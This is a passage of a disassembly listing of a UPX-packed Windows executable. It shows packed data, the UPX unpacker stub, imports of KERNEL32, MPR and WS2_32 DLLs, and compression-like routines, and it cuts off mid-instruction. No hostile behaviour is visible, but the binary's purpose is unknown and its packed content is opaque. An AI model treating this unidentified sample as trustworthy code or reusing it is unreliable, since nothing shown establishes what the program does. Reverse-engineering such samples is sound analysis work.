1794BFC2h dd 5F666F5Fh, 0D8D89492h, 1A7F4118h, 4E7685A1h, 4C318781h dd 5F7E142Dh, 449F3822h, 57ADB104h, 6235144h, 902A00A9h dd 20540150h, 40A802A1h, 81500542h, 2A00A84h, 5401409h dd 0A802812h, 15005024h, 2A00A148h, 54014290h, 0A8028420h dd 50050940h, 0A00A1281h, 40142402h, 80284805h, 50900Ah dd 0A12015h, 142402Ah, 2848154h, 50902A8h, 0A120550h, 14240AA0h dd 28481540h, 50902A80h, 0A1205400h, 4240A800h, 84815001h dd 902A002h, 12054005h, 240A800Ah, 48150014h, 0B4504728h dd 41700950h, 203FFFC0h, 4D010002h, 69567061h, 664F7765h dd 23ADA4B5h, 0F2B30112h, 4DA45DEEh, 1F336548h, 82069853h dd 568945C0h, 4457B8h, 414F6274h, 0DF01031h, 61727408h dd 0D911BB43h, 71411F57h, 0B1FC0192h, 7349AD64h, 10646142h dd 0E6ABB0ADh, 31B3F50h, 88277D69h, 6E55521Ah, 0CB0A16DBh dd 1D45643Ah, 412F76Ch, 386574D8h, 0A9B286E8h, 73F50104h dd 82DB005Dh, 4864C9FBh, 0C8E55F5Eh, 886D8AD0h, 0CD411F57h dd 7ABBB6D6h, 9075391Ah, 325EE015h, 103A2480h, 0D5836F62h dd 2F57738Bh, 40EC12C1h, 5F65D932h, 8080D431h, 6B2E4172h dd 3BB44096h, 840454A9h, 0F5F54C1Dh, 6221808h, 6F9601EBh dd 0CD550CC4h, 0E0706C53h, 0A70B5A68h, 0A1182C36h, 0C1EB490Ch dd 4802Bh, 0D06DC56Ch, 2D12BC04h, 0D87942DCh, 8C062EE1h dd 0B9646957h, 414B2D7h, 37FC38ACh, 20706ED8h, 59570135h dd 0F7002F4Fh, 61F80364h, 85C38A5h, 69530A65h, 28D2CB80h dd 5AC80308h, 9944BB82h, 0E020BA53h, 0F29525C2h, 935B0E18h dd 76455F19h, 203320Ch, 36FD2B16h, 80EED838h, 464827AAh dd 0B61847BEh, 0C4441BB1h, 266B831Fh, 9A117C98h, 137A6953h dd 13330E74h, 0C4657902h, 0E0C1B3B8h, 3C9E8D21h, 0B061B436h dd 3FE930DBh, 0FB6D2B16h, 1D419636h, 78654E73h, 3B7C1DA5h dd 0DF07B8F6h, 50D9531Fh, 88A696Fh, 4C315700h, 7602431Eh dd 0DA410248h, 5F093629h, 0C62B38C2h, 49980921h, 0DF71C2A5h dd 0C74135D0h, 9A17053h, 0B6D8DAB1h, 176AA766h, 919CE041h dd 0E409AA90h, 6F57471Dh, 1002B050h, 0ED6F3E6Dh, 5FED8F56h dd 8E961E6Bh, 8406E913h, 2715F080h, 0E98AE041h, 1DAEED56h dd 39F92397h, 21012B57h, 914D1878h, 5C04116Fh, 1D2F089Ah dd 126B1408h, 6B64CF75h, 0FEA9ED85h, 6010CB9Dh, 761ED1BBh dd 579060ACh, 1B6B0E01h, 175B174Ch, 6D275E01h, 0D28A5421h dd 0BD6D6DC2h, 2AE91509h, 0DB7076C0h, 0DB6D595h, 5B194776h dd 82630979h, 2A70704Ah, 8380533Fh, 3EA18051h, 0BAB070C9h dd 1AF1821Ch, 14ABD388h, 3B1D900Ch, 11456B65h, 0A10200CAh dd 80408032h, 8285B643h, 5F83531Dh, 643B703Ch, 9B3FB00h dd 33D21B01h, 5ED6A8CBh, 776E8DBBh, 0AA96C083h, 0C7AD81D1h dd 206D308h, 0ABAAF91h, 7999ED16h, 34D84905h, 619667DDh dd 0C93E7970h, 4C627C4Dh, 0E3041869h, 608C33EBh, 937699EDh dd 1435D5Bh, 82000DACh, 0A4F05D75h, 0F772DD56h, 0C7B80825h dd 40643265h, 3B44835Ah, 6F766084h, 6E520B40h, 0AAABEE81h dd 755728A3h, 77587400h, 974DD91Eh, 475A6124h, 0BA2DAEC1h dd 211A0D15h, 0D693CF3Ah, 0D36D1A2Dh, 0AD6C936h, 2271F56h dd 95577070h, 52AEA94Ch, 0C8934B60h, 867D0F8Ah, 520A36Dh dd 76964519h, 9835D34Ah, 708CB19h, 7EAA108Ch, 0DC02F441h dd 4C516AACh, 0AAF45043h, 1B3136C4h, 0D850436Fh, 87DB5D9Eh dd 0F174114h, 124D454Fh, 4227D00h, 0D4495794h, 0DE69B721h dd 853BDBAAh, 50BFFDCh, 96596596h, 2157374h, 9659010Dh dd 34165965h, 6B131009h, 12659659h, 40A1797h, 410DC050h dd 0C2E100F2h, 4CB606DFh, 59BE1F01h, 21334660h, 0E0FEE04Ch dd 0B010F00h, 42110601h, 6B41AF91h, 0D4620656h, 0AC2D0199h dd 230CB6Dh, 4141740h, 77770F67h, 0A018B647h, 0C1D43008h dd 0FE045052h, 0F6B6910h, 40E8BC0Dh, 42500002h, 304201BEh dd 0DE0228AFh, 2EB8020Ch, 1C16844Dh, 48D3415Bh, 5991810h dd 82E720h, 722E60BCh, 0B51BE6A7h, 0A76F358Bh, 0B11C1C00h dd 2C2E0440h, 4D97E59Bh, 636584Fh, 38014450h, 94FB30F3h dd 78732EC0h, 90561853h, 3EC5CAFBh, 4F037C44h, 43603602h dd 49249211h, 89806F8h, 50000000h, 0FF49h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_473000 lea edi, [esi-72000h] push edi or ebp, 0FFFFFFFFh jmp short loc_48B762 ; --------------------------------------------------------------------------- align 8 loc_48B758: ; CODE XREF: UPX1:loc_48B769j mov al, [esi] inc esi mov [edi], al inc edi loc_48B75E: ; CODE XREF: UPX1:0048B80Aj ; UPX1:0048B821j add ebx, ebx jnz short loc_48B769 loc_48B762: ; CODE XREF: UPX1:0048B750j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B769: ; CODE XREF: UPX1:0048B760j jb short loc_48B758 mov eax, 1 loc_48B770: ; CODE XREF: UPX1:0048B79Aj add ebx, ebx jnz short loc_48B77B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B77B: ; CODE XREF: UPX1:0048B772j adc eax, eax add ebx, ebx jnb short loc_48B78C jnz short loc_48B79C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jb short loc_48B79C loc_48B78C: ; CODE XREF: UPX1:0048B77Fj dec eax add ebx, ebx jnz short loc_48B798 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B798: ; CODE XREF: UPX1:0048B78Fj adc eax, eax jmp short loc_48B770 ; --------------------------------------------------------------------------- loc_48B79C: ; CODE XREF: UPX1:0048B781j ; UPX1:0048B78Aj xor ecx, ecx sub eax, 3 jb short loc_48B7B4 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_48B826 sar eax, 1 mov ebp, eax jmp short loc_48B7BF ; --------------------------------------------------------------------------- loc_48B7B4: ; CODE XREF: UPX1:0048B7A1j add ebx, ebx jnz short loc_48B7BF mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B7BF: ; CODE XREF: UPX1:0048B7B2j ; UPX1:0048B7B6j adc ecx, ecx add ebx, ebx jnz short loc_48B7CC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B7CC: ; CODE XREF: UPX1:0048B7C3j adc ecx, ecx jnz short loc_48B7F0 inc ecx loc_48B7D1: ; CODE XREF: UPX1:0048B7E0j ; UPX1:0048B7EBj add ebx, ebx jnz short loc_48B7DC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_48B7DC: ; CODE XREF: UPX1:0048B7D3j adc ecx, ecx add ebx, ebx jnb short loc_48B7D1 jnz short loc_48B7ED mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_48B7D1 loc_48B7ED: ; CODE XREF: UPX1:0048B7E2j add ecx, 2 loc_48B7F0: ; CODE XREF: UPX1:0048B7CEj cmp ebp, 0FFFFFB00h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_48B810 loc_48B801: ; CODE XREF: UPX1:0048B808j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_48B801 jmp loc_48B75E ; --------------------------------------------------------------------------- align 10h loc_48B810: ; CODE XREF: UPX1:0048B7FFj ; UPX1:0048B81Dj mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_48B810 add edi, ecx jmp loc_48B75E ; --------------------------------------------------------------------------- loc_48B826: ; CODE XREF: UPX1:0048B7ACj pop esi mov edi, esi mov ecx, 0D75h loc_48B82E: ; CODE XREF: UPX1:0048B835j ; UPX1:0048B83Aj mov al, [edi] inc edi sub al, 0E8h loc_48B833: ; CODE XREF: UPX1:0048B858j cmp al, 1 ja short loc_48B82E cmp byte ptr [edi], 12h jnz short loc_48B82E mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_48B833 lea edi, [esi+89000h] loc_48B860: ; CODE XREF: UPX1:0048B882j mov eax, [edi] or eax, eax jz short loc_48B8AB mov ebx, [edi+4] lea eax, [eax+esi+8B000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+8B050h] xchg eax, ebp loc_48B87D: ; CODE XREF: UPX1:0048B8A3j mov al, [edi] inc edi or al, al jz short loc_48B860 mov ecx, edi jns short near ptr loc_48B88E+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_48B88E: ; CODE XREF: UPX1:0048B886j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8B054h] or eax, eax jz short loc_48B8A5 mov [ebx], eax add ebx, 4 jmp short loc_48B87D ; --------------------------------------------------------------------------- loc_48B8A5: ; CODE XREF: UPX1:0048B89Cj call dword ptr [esi+8B058h] loc_48B8AB: ; CODE XREF: UPX1:0048B864j popa jmp _WinMainCRTStartup ; --------------------------------------------------------------------------- align 800h UPX1 ends ; Section 3. (virtual address 0008C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 48C000h dd 3 dup(0) dd 8C070h, 4 dup(0) dd 8C07Dh, 4 dup(0) dd 8C085h, 6 dup(0) dd 0AA7295h, 0AA6865h, 0AA75EFh, 0AA7232h, 71B2ACCBh, 0AA7204h dd 71AB1A6Dh, 0AA7177h, 4E52454Bh, 32334C45h, 4C4C442Eh dd 52504D00h, 6C6C642Eh, 32535700h, 2E32335Fh, 6C6C64h dd 3DCh dup(0) UPX2 ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 0008D000) ; Virtual size : 00050000 ( 327680.) ; Section size in file : 00050000 ( 327680.) ; Offset to raw data for section: 0008D000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 48D000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+10h] push eax call sub_4C85E1 add esp, 4 mov [ebp-8], eax mov ecx, [ebp-8] mov [ebp-4], ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp-4] push eax mov ecx, [ebp+8] push ecx call sub_48D089 add esp, 0Ch mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax mov ecx, [ebp-4] push ecx call sub_48D2A6 add esp, 0Ch mov edx, [ebp+0Ch] mov eax, [edx] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp+8] push edx call sub_48D396 add esp, 0Ch mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx mov eax, [ebp-4] push eax call sub_48EAE0 add esp, 10h mov ecx, [ebp-4] mov [ebp-0Ch], ecx mov edx, [ebp-0Ch] push edx call sub_4C85D6 add esp, 4 mov al, 1 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_48D089(void *Src,int,int) sub_48D089 proc near ; CODE XREF: .text:0048D027p ; .text:0048D4A8p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+Src] mov [ebp+var_10], eax mov ecx, [ebp+arg_4] mov [ebp+var_18], ecx mov edx, [ebp+arg_8] mov eax, [ebp+var_10] add eax, [edx] mov [ebp+var_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_18] lea ecx, [eax+edx-2] mov [ebp+var_C], ecx mov byte ptr [ebp+var_4], 0FFh mov byte ptr [ebp+var_14], 1 mov edx, [ebp+var_18] mov byte ptr [edx], 1 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_48D0CC: ; CODE XREF: sub_48D089:loc_48D254j mov ecx, [ebp+var_10] cmp ecx, [ebp+var_8] jnb loc_48D259 mov edx, [ebp+var_10] add edx, 2 cmp edx, [ebp+var_8] jnb loc_48D1E2 mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_4] and edx, 0FFh cmp ecx, edx jnz loc_48D1E2 mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_4] and edx, 0FFh cmp ecx, edx jnz loc_48D1E2 mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+2] mov edx, [ebp+var_4] and edx, 0FFh cmp ecx, edx jnz loc_48D1E2 mov [ebp+var_20], 3 mov eax, [ebp+var_10] add eax, 3 mov [ebp+var_1C], eax loc_48D141: ; CODE XREF: sub_48D089+E6j mov ecx, [ebp+var_1C] cmp ecx, [ebp+var_8] jnb short loc_48D171 mov edx, [ebp+var_1C] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] and ecx, 0FFh cmp eax, ecx jnz short loc_48D171 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax jmp short loc_48D141 ; --------------------------------------------------------------------------- loc_48D171: ; CODE XREF: sub_48D089+BEj ; sub_48D089+D2j ... cmp [ebp+var_20], 3 jb short loc_48D1D7 cmp [ebp+var_20], 101h jbe short loc_48D189 mov [ebp+var_28], 101h jmp short loc_48D18F ; --------------------------------------------------------------------------- loc_48D189: ; CODE XREF: sub_48D089+F5j mov ecx, [ebp+var_20] mov [ebp+var_28], ecx loc_48D18F: ; CODE XREF: sub_48D089+FEj mov edx, [ebp+var_28] mov [ebp+var_24], edx mov eax, [ebp+var_18] mov byte ptr [eax], 0FFh mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_24] sub edx, 3 mov eax, [ebp+var_18] mov [eax], dl mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_20] sub edx, [ebp+var_24] mov [ebp+var_20], edx mov eax, [ebp+var_18] cmp eax, [ebp+var_C] jb short loc_48D1D5 mov byte ptr [ebp+var_14], 0 mov ecx, [ebp+var_8] mov [ebp+var_10], ecx jmp short loc_48D1D7 ; --------------------------------------------------------------------------- loc_48D1D5: ; CODE XREF: sub_48D089+13Ej jmp short loc_48D171 ; --------------------------------------------------------------------------- loc_48D1D7: ; CODE XREF: sub_48D089+ECj ; sub_48D089+14Aj mov edx, [ebp+var_1C] sub edx, [ebp+var_20] mov [ebp+var_10], edx jmp short loc_48D254 ; --------------------------------------------------------------------------- loc_48D1E2: ; CODE XREF: sub_48D089+58j ; sub_48D089+70j ... mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] cmp ecx, 0FFh jnz short loc_48D222 mov edx, [ebp+var_18] mov byte ptr [edx], 0FFh mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov byte ptr [ecx], 0FFh mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx mov eax, [ebp+var_10] mov cl, [eax] mov byte ptr [ebp+var_4], cl mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_48D246 ; --------------------------------------------------------------------------- loc_48D222: ; CODE XREF: sub_48D089+166j mov eax, [ebp+var_18] mov ecx, [ebp+var_10] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_18] mov cl, [eax] mov byte ptr [ebp+var_4], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_48D246: ; CODE XREF: sub_48D089+197j mov ecx, [ebp+var_18] cmp ecx, [ebp+var_C] jb short loc_48D254 mov byte ptr [ebp+var_14], 0 jmp short loc_48D259 ; --------------------------------------------------------------------------- loc_48D254: ; CODE XREF: sub_48D089+157j ; sub_48D089+1C3j jmp loc_48D0CC ; --------------------------------------------------------------------------- loc_48D259: ; CODE XREF: sub_48D089+49j ; sub_48D089+1C9j mov edx, [ebp+var_14] and edx, 0FFh test edx, edx jnz short loc_48D294 mov eax, [ebp+arg_4] mov byte ptr [eax], 0 mov ecx, [ebp+arg_8] mov edx, [ecx] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+arg_4] add ecx, 1 push ecx ; Dst call _memcpy_1 add esp, 0Ch mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_48D29F ; --------------------------------------------------------------------------- loc_48D294: ; CODE XREF: sub_48D089+1DBj mov edx, [ebp+var_18] sub edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [eax], edx loc_48D29F: ; CODE XREF: sub_48D089+209j mov al, byte ptr [ebp+var_14] mov esp, ebp pop ebp retn sub_48D089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48D2A6 proc near ; CODE XREF: .text:0048D03Bp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_8] mov ecx, [eax] shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp+var_14], eax mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_48EA9D add esp, 0Ch mov [ebp+var_C], 0FFFFFFFFh mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+var_4], ecx mov [ebp+var_8], 0 jmp short loc_48D2FE ; --------------------------------------------------------------------------- loc_48D2F5: ; CODE XREF: sub_48D2A6:loc_48D369j mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_48D2FE: ; CODE XREF: sub_48D2A6+4Dj mov eax, [ebp+arg_8] mov ecx, [ebp+var_8] cmp ecx, [eax] jnb short loc_48D36B cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_48D325 mov edx, [ebp+arg_0] add edx, 1 mov eax, [ebp+var_8] mov ecx, [ebp+var_10] cmp [ecx+eax*4], edx jnz short loc_48D325 mov edx, [ebp+var_8] mov [ebp+var_C], edx loc_48D325: ; CODE XREF: sub_48D2A6+66j ; sub_48D2A6+77j mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov edx, [ecx+eax*4] cmp edx, [ebp+arg_0] jnz short loc_48D34F mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov cl, [eax+ecx-1] mov [edx], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_48D369 ; --------------------------------------------------------------------------- loc_48D34F: ; CODE XREF: sub_48D2A6+8Bj mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov edx, [ecx+eax*4] mov eax, [ebp+var_4] mov cl, [edx-1] mov [eax], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_48D369: ; CODE XREF: sub_48D2A6+A7j jmp short loc_48D2F5 ; --------------------------------------------------------------------------- loc_48D36B: ; CODE XREF: sub_48D2A6+60j mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+arg_8] mov eax, [edx] add eax, 4 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn sub_48D2A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48D396 proc near ; CODE XREF: .text:0048D051p Src = byte ptr -114h Dst = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h mov [ebp+var_14], 0 jmp short loc_48D3B1 ; --------------------------------------------------------------------------- loc_48D3A8: ; CODE XREF: sub_48D396+31j mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_48D3B1: ; CODE XREF: sub_48D396+10j cmp [ebp+var_14], 100h jge short loc_48D3C9 mov ecx, [ebp+var_14] mov dl, byte ptr [ebp+var_14] mov [ebp+ecx+Src], dl jmp short loc_48D3A8 ; --------------------------------------------------------------------------- loc_48D3C9: ; CODE XREF: sub_48D396+22j mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_8] mov [ebp+var_10], edx loc_48D3DE: ; CODE XREF: sub_48D396+D6j mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jnb loc_48D471 lea ecx, [ebp+Src] mov [ebp+var_4], ecx loc_48D3F3: ; CODE XREF: sub_48D396+78j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] cmp eax, edx jz short loc_48D410 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_48D3F3 ; --------------------------------------------------------------------------- loc_48D410: ; CODE XREF: sub_48D396+6Dj mov ecx, [ebp+var_4] lea edx, [ebp+Src] sub ecx, edx mov eax, [ebp+var_C] mov [eax], cl mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] lea eax, [ebp+Src] cmp edx, eax jz short loc_48D463 mov ecx, [ebp+var_4] lea edx, [ebp+Src] sub ecx, edx push ecx ; Size lea eax, [ebp+Src] push eax ; Src lea ecx, [ebp+Dst] push ecx ; Dst call _memcpy_2 add esp, 0Ch mov edx, [ebp+var_8] mov al, [edx] mov [ebp+Src], al loc_48D463: ; CODE XREF: sub_48D396+9Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp loc_48D3DE ; --------------------------------------------------------------------------- loc_48D471: ; CODE XREF: sub_48D396+4Ej mov esp, ebp pop ebp retn sub_48D396 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+0Ch] mov ecx, [eax] mov [ebp-8], ecx mov edx, [ebp+10h] push edx call sub_4C85E1 add esp, 4 mov [ebp-10h], eax mov eax, [ebp-10h] mov [ebp-4], eax mov byte ptr [ebp-0Ch], 0 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp-4] push edx mov eax, [ebp+8] push eax call sub_48D089 add esp, 0Ch and eax, 0FFh test eax, eax jz short loc_48D4D5 mov ecx, [ebp+0Ch] mov edx, [ecx] push edx mov eax, [ebp-4] push eax mov ecx, [ebp+8] push ecx call _memcpy_1 add esp, 0Ch mov byte ptr [ebp-0Ch], 1 jmp short loc_48D4DD ; --------------------------------------------------------------------------- loc_48D4D5: ; CODE XREF: .text:0048D4B7j mov edx, [ebp+0Ch] mov eax, [ebp-8] mov [edx], eax loc_48D4DD: ; CODE XREF: .text:0048D4D3j mov ecx, [ebp-4] mov [ebp-14h], ecx mov edx, [ebp-14h] push edx call sub_4C85D6 add esp, 4 mov al, [ebp-0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+10h] push eax call sub_4C85E1 add esp, 4 mov [ebp-8], eax mov ecx, [ebp-8] mov [ebp-4], ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp+8] push edx call sub_48F3E7 add esp, 10h mov eax, [ebp+0Ch] mov ecx, [eax] push ecx mov edx, [ebp+8] push edx mov eax, [ebp-4] push eax call sub_48D59A add esp, 0Ch mov ecx, [ebp+0Ch] push ecx mov edx, [ebp-4] push edx mov eax, [ebp+8] push eax call sub_48D679 add esp, 0Ch mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax mov ecx, [ebp-4] push ecx call sub_48D88F add esp, 10h and eax, 0FFh test eax, eax jnz short loc_48D582 xor al, al jmp short loc_48D596 ; --------------------------------------------------------------------------- loc_48D582: ; CODE XREF: .text:0048D57Cj mov edx, [ebp-4] mov [ebp-0Ch], edx mov eax, [ebp-0Ch] push eax call sub_4C85D6 add esp, 4 mov al, 1 loc_48D596: ; CODE XREF: .text:0048D580j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48D59A proc near ; CODE XREF: .text:0048D541p var_118 = byte ptr -118h var_114 = dword ptr -114h Src = byte ptr -110h Dst = byte ptr -10Fh var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 118h mov [ebp+var_10], 0 jmp short loc_48D5B5 ; --------------------------------------------------------------------------- loc_48D5AC: ; CODE XREF: sub_48D59A+31j mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_48D5B5: ; CODE XREF: sub_48D59A+10j cmp [ebp+var_10], 100h jge short loc_48D5CD mov ecx, [ebp+var_10] mov dl, byte ptr [ebp+var_10] mov [ebp+ecx+Src], dl jmp short loc_48D5AC ; --------------------------------------------------------------------------- loc_48D5CD: ; CODE XREF: sub_48D59A+22j mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_8] mov [ebp+var_C], edx loc_48D5E2: ; CODE XREF: sub_48D59A+D6j mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb loc_48D675 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] lea eax, [ebp+edx+Src] mov [ebp+var_114], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_114] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_114] lea eax, [ebp+Src] cmp edx, eax jz short loc_48D667 mov ecx, [ebp+var_114] mov dl, [ecx] mov [ebp+var_118], dl mov eax, [ebp+var_114] lea ecx, [ebp+Src] sub eax, ecx push eax ; Size lea edx, [ebp+Src] push edx ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy_2 add esp, 0Ch mov cl, [ebp+var_118] mov [ebp+Src], cl loc_48D667: ; CODE XREF: sub_48D59A+8Cj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp loc_48D5E2 ; --------------------------------------------------------------------------- loc_48D675: ; CODE XREF: sub_48D59A+4Ej mov esp, ebp pop ebp retn sub_48D59A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48D679 proc near ; CODE XREF: .text:0048D555p var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 830h mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_824], ecx mov edx, [ebp+arg_0] add edx, 4 mov [ebp+arg_0], edx mov eax, [ebp+arg_8] mov ecx, [eax] sub ecx, 4 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_8] mov ecx, [eax] shl ecx, 2 push ecx call sub_4C85E1 add esp, 4 mov [ebp+var_82C], eax mov edx, [ebp+var_82C] mov [ebp+var_8], edx mov [ebp+var_14], 0 jmp short loc_48D6D5 ; --------------------------------------------------------------------------- loc_48D6CC: ; CODE XREF: sub_48D679+81j mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_48D6D5: ; CODE XREF: sub_48D679+51j cmp [ebp+var_14], 100h jnb short loc_48D6FC mov ecx, [ebp+var_14] mov [ebp+ecx*4+var_820], 0 mov edx, [ebp+var_14] mov [ebp+edx*4+var_414], 0 jmp short loc_48D6CC ; --------------------------------------------------------------------------- loc_48D6FC: ; CODE XREF: sub_48D679+63j mov eax, 